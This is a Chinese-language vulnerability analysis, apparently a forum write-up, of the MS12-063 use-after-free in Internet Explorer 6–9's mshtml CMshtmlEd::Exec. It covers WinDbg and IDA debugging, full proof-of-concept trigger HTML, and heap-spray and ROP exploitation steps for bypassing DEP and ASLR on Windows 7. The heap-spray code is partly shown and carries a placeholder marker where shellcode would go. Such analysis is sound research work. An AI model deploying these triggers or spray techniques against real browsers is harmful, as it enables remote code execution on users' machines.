CVSS分数:9.3
概述:mshtml.dll的CMshtmlEd :: Exec()函数将CMshtmlEd对象释放后,又再次使用相同的内存,从而导致释放后使用的情况
Internet Explorer 6 至 9
MS12-063
使用metastploit模块 获取poc1,LLmya.html
poc2,UGuQTe.html,两个文件保存在同一个目录下
运行程序poc1,触发漏洞
设置hpa,ust堆调试属性,使用windbg调试IE浏览器,执行poc1,漏洞触发
查看edi的值
查看函数调用堆栈
IDA中反汇编函数CMshtmlEd::Exec,由于win7中打开了ASLR,所以只能靠地址的后两个字节定位漏洞触发点68b8503e。这里是edi地址引用错误,在函数中往前查看edi的赋值情况,edi只有一次赋值且为this指针(不排除中间函数更改edi的可能,需要动态调试验证)
在CMshtmlEd::Exec设置断点,单步执行查看edi的变化情况
edi第一次赋值,查看堆的结构,得知edi指向CMshtmlEd实例的虚表
继续执行到触发异常点,edi还是指向同一个地方,但是!heap -p -a edi已经没有输出了,说明edi指向的堆已经不存在,大概率为释放后重利用漏洞
下一步查看CMshtmlEd实例的释放过程,先找到与CMshtmlEd类有关的函数
重点关注的函数
不过析构函数一般是与free一起调用的,查看CMshtmlEd::~CMshtmlEd,发现由CMshtmlEd::Release调用,查看release,有一处跳转执行free,所以就在CMshtmlEd::Release下断点
运行到漏洞函数CMshtmlEd::Exec时设置CMshtmlEd::Release断点,第一次执行到Release函数没有跳转执行free,第二次执行时调用了free函数
查看HeapFree函数的参数,第三个为this指针08178f78
继续执行之后就触发了异常,同时edi也是08178f78,与被free掉的this指针相同,说明this指针在被释放后了又进行引用导致UAF漏洞
那么,CMshtmlEd::Release的调用在漏洞函数CMshtmlEd::Exec哪里执行呢,查看CMshtmlEd::Exec,在漏洞触发点mov edi, dword ptr [edi+8]之前存在一个函数CCommand::Exec,需要使用edi指针,为什么执行之后就忽然edi指向的实例不存在了?
执行CCommamd::Exec之前查看edi
执行之后,edi指向的this指针已经被free掉了,之后执行mov edi, dword ptr [edi+8],导致异常。
验证:执行到CMshtmlEd::Exec时下断点mshtml!CMshtmlEd::Release和mshtml!CCommand::Exec,程序先后在CCommand::Exec和CMshtmlEd::Release断下,并执行了Heapfree函数,说明CCommand::Exec中释放了this指针
windbg结合JavaScript调试,确定poc何处引发漏洞
查看CMshtmlEd实例的构造和释放过程,在IDA中查看CMshtmlEd::CMshtmlEd的引用函数AddCommandTarget和GetCommandTarget,都在分配了堆之后调用了CMshtmlEd的构造函数,所以关注构造函数就能直到堆的引用过程
AddCommandTarget函数
GetCommandTarget函数
在构造函数和release函数下断点
执行funcB()时命中构造函数,查看函数参数this指针,这里由edx保存,堆为bb9af78
继续执行第二次命中构造函数,创建堆9e52f78
之后命中release,没有调用heapfree,然后执行funcA()
命中release,没有调用heapfree,又一次命中release,可以看到这里释放的堆为9e52f78
然后引发了一个奇怪的异常,可能是由于JavaScript调试导致
不过可以确定时funcA()引起的,write常常会触发对象释放,后面对arrr[0].src赋值是一个占位动作
win7 sp1 x86
jdk1.6,其中MSVCR71.dll模块没有开启ASLR
在CMshtmlEd对象被释放后,继续调用了vtable中的 [vtable + 8]函数,如果能够构造个虚假的地址将vtable占位,即可试下uaf利用。poc中parent.arrr[0]赋值实现了占位,程序,虚表指针edi+8指向了0c0c0c08
接着运行程序,调用了[[edi]+8],我们要向控制0c0c0c08处写入ROP和shellcode
Heap Spray,利用JavaScript String对象在内存中申请大量的堆块,堆一直占用直到地址0c0c0c0c,同时每一个分配的堆块结构sildecode+shellcode,sildecode为nop等滑板指令,劫持程序执行流到任何一个堆块(本例为0c0c0c0c)中都能够执行shellcode,在win7等开启了DEP和ASLR的系统,要构造ROP调用VirtualProtect以关闭dep,而且ROP位置要精准
为了实现shellcode精准到内存中指定位置:堆的大小和内部结构要非常精确,可以使用js的heaplib库,本次分析使用手动构造堆块。堆块进行分配的时候,因为堆块对齐,低4位10000大小的地址不会变化。举个例子,如果一个堆分配的低4位地址002c,那么其他堆的低位同为002c,只要以0x1000为单位进行构造堆块,那每个块结构机制都可轻易确定,如下图,low_offset固定,但high_offset不一定相同,当然每个shellcode块之间不能有空隙,不然会执行到0000的空隙字符
堆喷射代码,block结构,filler填充0020到0c0c到的内存,nop继续填充满1000字节
分配200MB的block,4字节bstr头适应js的string对象,最后以2个字节结尾
堆内存,90000为!peb的得到的进程堆基址,堆占用了99.46,每块大小为ffff0
筛选大小为ffff0的堆块,可以看到每个堆块低位均为0020
搜索shellcode "FuzzySecurity",可以看到每个shellcode间隔为1000,正好为我们构造的block,一部分内存已被block铺满,没有空隙
构造ROP
为了绕过win7的dep和ASLR,需要构造ROP调用VirtualProtect以关闭dep,win7浏览器会加载jdk1.6,其中有两个模块没有开启ASLR的模块,mona插件查询ROP
自动生成ROP链,有问题需稍加修改,之后更改ROP以令程序执行call dword ptr [eax+8]时能够跳转到ROP,具体为迁移栈到0c0c0c0c
kali生成shellcode,以js小端序输出
最终exploit
<html>
<body>
<script>
var arrr
=
new Array();
arrr[
0
]
=
window.document.createElement(
"img"
);
arrr[
0
][
"src"
]
=
"E"
;
<
/
script>
<iframe src
=
"./UGuQTe.html"
><
/
iframe>
<
/
body>
<
/
html>
<html>
<body>
<script>
var arrr
=
new Array();
arrr[
0
]
=
window.document.createElement(
"img"
);
arrr[
0
][
"src"
]
=
"E"
;
<
/
script>
<iframe src
=
"./UGuQTe.html"
><
/
iframe>
<
/
body>
<
/
html>
<HTML>
<script>
function funcB() {
document.execCommand(
"selectAll"
);
};
function funcA() {
document.write(
"O"
);
parent.arrr[
0
].src
=
"YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH"
;
}
<
/
script>
<body onload
=
'funcB();'
onselect
=
'funcA()'
>
<div contenteditable
=
'true'
>
a
<
/
div>
<
/
body>
<
/
HTML>
<HTML>
<script>
function funcB() {
document.execCommand(
"selectAll"
);
};
function funcA() {
document.write(
"O"
);
parent.arrr[
0
].src
=
"YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH"
;
}
<
/
script>
<body onload
=
'funcB();'
onselect
=
'funcA()'
>
<div contenteditable
=
'true'
>
a
<
/
div>
<
/
body>
<
/
HTML>
bp mshtml!CMshtmlEd::Exec
bp mshtml!CMshtmlEd::Exec
x mshtml!CmshtmlEd::
*
CMshtmlEd::Release
CMshtmlEd::~CMshtmlEd
CMshtmlEd::Release
CMshtmlEd::~CMshtmlEd
0
:
005
> bp mshtml!CMshtmlEd::Exec
/
/
漏洞函数
0
:
005
> g
0
:
005
> bp mshtml!CMshtmlEd::Release
0
:
005
> bp mshtml!CMshtmlEd::Exec
/
/
漏洞函数
0
:
005
> g
0
:
005
> bp mshtml!CMshtmlEd::Release
bp mshtml!CMshtmlEd::CMshtmlEd
bp mshtml!CMshtmlEd::Release
bp mshtml!CMshtmlEd::CMshtmlEd
bp mshtml!CMshtmlEd::Release
<html>
<body>
<script>
var arrr
=
new Array();
arrr[
0
]
=
window.document.createElement(
"img"
);
arrr[
0
][
"src"
]
=
"E"
;
function alloc(
len
,
str
) {
while
(
str
.length <
len
)
str
+
=
str
;
return
str
.substr(
0
, (
len
-
6
)
/
2
);
}
var block_size
=
0x1000
/
2
;
/
/
一页大小
var offset
=
(
0x0c0c
-
0x0020
-
4
)
/
2
;
/
/
shellcode在块中的偏移
var filler
=
unescape(
"%u0c0c"
);
while
(filler.length < offset) {
filler
+
=
filler;
}
filler
=
filler.substring(
0
, offset);
var shellcode
=
unescape(
"%u7546%u7a7a%u5379"
+
"%u6365%u7275%u7469"
+
"%u9079"
);
/
/
FuzzySecurity的ascii,仅仅作为标识
var nop
=
unescape(
"%u9090"
);
for
(i
=
0
; i < block_size; i
+
+
) {
nop
+
=
unescape(
"%u9090"
);
}
nop
=
nop.substring(
0
, block_size
-
shellcode.length
-
filler.length);
var block
=
filler
+
shellcode
+
nop;
block
=
alloc(
0x100000
-
0x10
, block);
len_block
=
block.length;
heap_chunks
=
new Array();
for
(i
=
0
; i <
150
; i
+
+
) {
heap_chunks[i]
=
block.substr(
0
, block.length);
}
<
/
script>
<iframe src
=
"../hpIpD0pjgv/UGuQTe.html"
><
/
iframe>
<
/
body>
<
/
html>
<html>
<body>
<script>
var arrr
=
new Array();
arrr[
0
]
=
window.document.createElement(
"img"
);
arrr[
0
][
"src"
]
=
"E"
;
function alloc(
len
,
str
) {
while
(
str
.length <
len
)
str
+
=
str
;
return
str
.substr(
0
, (
len
-
6
)
/
2
);
}
var block_size
=
0x1000
/
2
;
/
/
一页大小
var offset
=
(
0x0c0c
-
0x0020
-
4
)
/
2
;
/
/
shellcode在块中的偏移
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!